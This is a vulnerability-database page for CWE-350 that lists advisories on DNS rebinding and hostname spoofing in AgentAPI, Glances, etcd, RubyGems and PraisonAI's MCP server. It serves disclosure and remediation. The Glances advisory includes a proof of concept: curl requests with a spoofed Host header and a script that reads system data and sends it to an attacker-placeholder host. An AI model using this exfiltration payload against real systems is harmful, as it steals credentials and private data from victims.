Common Weakness Enumeration

CWE-350

Allowed

Reliance on Reverse DNS Resolution for a Security-Critical Action

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

47 vulnerabilities reference this CWE, most recent first.

GHSA-W64R-2G3W-W8W4

Vulnerability from github – Published: 2025-09-29 20:40 – Updated: 2025-10-23 20:33
VLAI
Summary
Coder AgentAPI exposed user chat history via a DNS rebinding attack
Details

Summary

AgentAPI prior to version 0.4.0 was susceptible to a client-side DNS rebinding attack when hosted over plain HTTP on localhost.

Impact

An attacker could have gained access to the /messages endpoint served by the Agent API. This allowed for the unauthorized exfiltration of sensitive user data, specifically local message history, which could've included secret keys, file system contents, and intellectual property the user was working on locally.

Remediation

We've implemented an Origin and Host header validating middleware and set a secure by default configuration.

Please upgrade to version 0.4.0 or later.

Credits

We'd like to thank Evan Harris from mcpsec.dev for reporting this issue and following the coordinated disclosure policy.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/agentapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T20:40:26Z",
    "nvd_published_at": "2025-09-30T11:37:41Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAgentAPI prior to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) was susceptible to a client-side DNS rebinding attack when hosted over plain HTTP on localhost.\n\n### Impact\nAn attacker could have gained access to the `/messages` endpoint served by the Agent API. This allowed for the unauthorized exfiltration of sensitive user data, specifically local message history, which could\u0027ve included secret keys, file system contents, and intellectual property the user was working on locally.\n\n### Remediation\nWe\u0027ve [implemented](https://github.com/coder/agentapi/pull/49) an `Origin` and `Host` header validating middleware and set a secure by default configuration.\n\nPlease upgrade to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) or later.\n\n### Credits\nWe\u0027d like to thank [Evan Harris](https://github.com/eharris128) from [mcpsec.dev](https://mcpsec.dev/) for reporting this issue and following the coordinated disclosure [policy](https://coder.com/security/policy).",
  "id": "GHSA-w64r-2g3w-w8w4",
  "modified": "2025-10-23T20:33:23Z",
  "published": "2025-09-29T20:40:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/security/advisories/GHSA-w64r-2g3w-w8w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/pull/49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/commit/5c425c62447b8a9eac19e9fc5a2eae7f0803f149"
    },
    {
      "type": "WEB",
      "url": "https://github.blog/security/application-security/localhost-dangers-cors-and-dns-rebinding"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/agentapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/releases/tag/v0.4.0"
    },
    {
      "type": "WEB",
      "url": "https://mcpsec.dev/advisories/2025-09-19-coder-chat-exfiltration"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder AgentAPI exposed user chat history via a DNS rebinding attack"
}

GHSA-W856-8P3R-P338

Vulnerability from github – Published: 2026-06-22 21:31 – Updated: 2026-06-22 21:31
VLAI
Summary
Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Details

Summary

The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.

Details

Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer

Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py

Contrast — patched backends: - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py

The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.

Contrast this with the two other Glances server backends, both of which received host-validation hardening:

REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:

# glances_restful_api.py
if self.webui_allowed_hosts:
    self._app.add_middleware(
        TrustedHostMiddleware,
        allowed_hosts=self.webui_allowed_hosts,
    )

MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:

# glances_mcp.py
TransportSecuritySettings(
    allowed_hosts=self.mcp_allowed_hosts,
    ...
)

XML-RPC server (glances/server.py) — no equivalent exists:

class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
    # No Host header check; any Host value is accepted
    rpc_paths = ('/RPC2',)
    ...

There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

Server type Host header HTTP status Data returned
XML-RPC attacker.example.com 200 OK Yes — VULNERABLE
XML-RPC 127.0.0.1:61209 200 OK Yes (baseline)
REST API attacker.example.com 400 Bad Request No — patched

PoC

Attack overview

DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.

Special configuration required

No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").

Step 1 — Start the Glances XML-RPC server

glances -s -p 61209

Step 2 — Confirm the server accepts an arbitrary Host header

curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
     -H "Host: attacker.example.com" \
     -H "Content-Type: text/plain" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.

Step 3 — Confirm the REST API is patched (comparison)

# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210

curl -s -o /dev/null -w "%{http_code}\n" \
     "http://127.0.0.1:61210/api/4/status" \
     -H "Host: attacker.example.com"
# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)

Step 4 — Full DNS rebinding exploitation (real-world path)

  1. Attacker registers attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.
  2. Attacker serves the following page from http://attacker.example.com:
<script>
async function exfil() {
  const payload = `<?xml version="1.0"?>
    <methodCall><methodName>getAll</methodName></methodCall>`;
  try {
    const r = await fetch('http://attacker.example.com:61209/RPC2', {
      method:  'POST',
      headers: { 'Content-Type': 'text/plain' },
      body:    payload,
    });
    const data = await r.text();
    // data contains: hostname, OS, all processes with cmd-lines, network, disk
    await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
  } catch (_) {}
}

// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
  1. Victim visits http://attacker.example.com in their browser.
  2. After TTL expiry, the attacker's DNS server responds with 127.0.0.1.
  3. The browser's fetch() call is sent to 127.0.0.1:61209 with Host: attacker.example.com; the XML-RPC server accepts it.
  4. The Access-Control-Allow-Origin: * header (see companion advisory) allows the browser to read the response body.
  5. The attacker receives the complete system monitoring snapshot.

Tools that simplify DNS rebinding for research/testing include: - Singularity - rbndr.us

Step 5 — Confirm absence of Host check in source

import sys, inspect
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
import glances.server as s

src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False

Impact

Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)

Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:

  • Glances is bound to 127.0.0.1 (loopback) — DNS rebinding bypasses the loopback restriction.
  • Glances is bound to a LAN IP — any browser on that LAN is at risk.
  • Glances is exposed on a public IP — any browser on the internet is at risk.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.

Impact: - Confidentiality: High — complete system monitoring data readable remotely without credentials. - Integrity: None — read-only XML-RPC API. - Availability: None — no denial-of-service component.

The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.

Suggested Fix

Option 1 — Add Host validation to the XML-RPC handler (preferred)

Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:

# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):

    allowed_hosts: list[str] = []   # populated from config

    def parse_request(self) -> bool:
        if not super().parse_request():
            return False
        if self.allowed_hosts:
            host = self.headers.get('Host', '').split(':')[0]
            if host not in self.allowed_hosts:
                self.send_error(400, 'Bad Request: invalid Host header')
                return False
        return True

Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.

Option 2 — Deprecate and remove the XML-RPC server

The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:31:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks.  CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key.  Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n    self._app.add_middleware(\n        TrustedHostMiddleware,\n        allowed_hosts=self.webui_allowed_hosts,\n    )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n    allowed_hosts=self.mcp_allowed_hosts,\n    ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n    # No Host header check; any Host value is accepted\n    rpc_paths = (\u0027/RPC2\u0027,)\n    ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header          | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC     | `attacker.example.com` | 200 OK    | Yes \u2014 VULNERABLE |\n| XML-RPC     | `127.0.0.1:61209`    | 200 OK      | Yes (baseline)   |\n| REST API    | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`).  From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed.  The vulnerability is present in a default Glances XML-RPC server start (`glances -s`).  For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n     -H \"Host: attacker.example.com\" \\\n     -H \"Content-Type: text/plain\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n     \"http://127.0.0.1:61210/api/4/status\" \\\n     -H \"Host: attacker.example.com\"\n# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n  const payload = `\u003c?xml version=\"1.0\"?\u003e\n    \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n  try {\n    const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n      method:  \u0027POST\u0027,\n      headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n      body:    payload,\n    });\n    const data = await r.text();\n    // data contains: hostname, OS, all processes with cmd-lines, network, disk\n    await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n  } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page.  This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read.  Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n    allowed_hosts: list[str] = []   # populated from config\n\n    def parse_request(self) -\u003e bool:\n        if not super().parse_request():\n            return False\n        if self.allowed_hosts:\n            host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n            if host not in self.allowed_hosts:\n                self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n                return False\n        return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface.  The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls.  Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure.  The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-w856-8p3r-p338",
  "modified": "2026-06-22T21:31:44Z",
  "published": "2026-06-22T21:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}

GHSA-WF43-55JJ-VWQ8

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2021-05-19 22:09
VLAI
Summary
DNS Rebinding in etcd
Details

DNS rebinding vulnerability found in etcd 3.3.1 and earlier. An attacker can control his DNS records to direct to localhost, and trick the browser into sending requests to localhost (or any other address).

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.etcd.io/etcd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T22:09:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "DNS rebinding vulnerability found in etcd 3.3.1 and earlier. An attacker can control his DNS records to direct to localhost, and trick the browser into sending requests to localhost (or any other address).",
  "id": "GHSA-wf43-55jj-vwq8",
  "modified": "2021-05-19T22:09:57Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreos/etcd/issues/9353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1552717"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DNS Rebinding in etcd"
}

GHSA-WP3J-RVFP-624H

Vulnerability from github – Published: 2022-05-14 01:08 – Updated: 2023-03-10 02:29
VLAI
Summary
RubyGems vulnerable to DNS hijack attack
Details

RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a "DNS hijack attack."

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rubygems-update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-3900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-10T02:29:09Z",
    "nvd_published_at": "2015-06-24T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7 does not validate the hostname when fetching gems or making API requests, which allows remote attackers to redirect requests to arbitrary domains via a crafted DNS SRV record, aka a \"DNS hijack attack.\"",
  "id": "GHSA-wp3j-rvfp-624h",
  "modified": "2023-03-10T02:29:09Z",
  "published": "2022-05-14T01:08:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rubygems-update/CVE-2015-3900.yml"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20170331091241/https://puppet.com/security/cve/CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228055155/http://www.securityfocus.com/bid/75482"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-007/?fid=6356"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Attacking-Ruby-Gem-Security-with-CVE-2015-3900"
    },
    {
      "type": "WEB",
      "url": "http://blog.rubygems.org/2015/05/14/CVE-2015-3900.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163502.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163600.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-August/164236.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1657.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/06/26/2"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinoct2015-2511968.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "RubyGems vulnerable to DNS hijack attack"
}

GHSA-X227-PF99-VFFG

Vulnerability from github – Published: 2026-06-18 13:55 – Updated: 2026-06-18 13:55
VLAI
Summary
PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in
Details

The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport="sse") binds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware and no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls (origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of these functions are ever called by any transport — they are dead code. Any host that can reach the port can list and invoke every registered tool with no credentials, and a victim's browser can drive the same calls against a localhost instance via DNS rebinding.

Affected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py - run_sse defaults host to all interfaces (line 245) and builds the app with only debug and routes - no middleware= and no per-route auth/origin gate (lines ~271-289): app = Starlette(debug=self._debug, routes=[ Route(sse_path, endpoint=handle_sse), # "/sse" Mount(messages_path, app=sse_transport.handle_post_message), # "/messages/" ]) uvicorn.run(app, host=host, port=port) - launch_tools_mcp_server also defaults host="0.0.0.0" (line 301).

src/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call: - is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167), SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py and the init re-export. (mcp_websocket.py's auth references are CLIENT-side, not server validation.)

Impact: launch_tools_mcp_server(transport="sse") is the documented path for exposing tools over MCP. With the defaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals the capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin check, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the JSON-RPC calls cross-origin against a developer's local server.

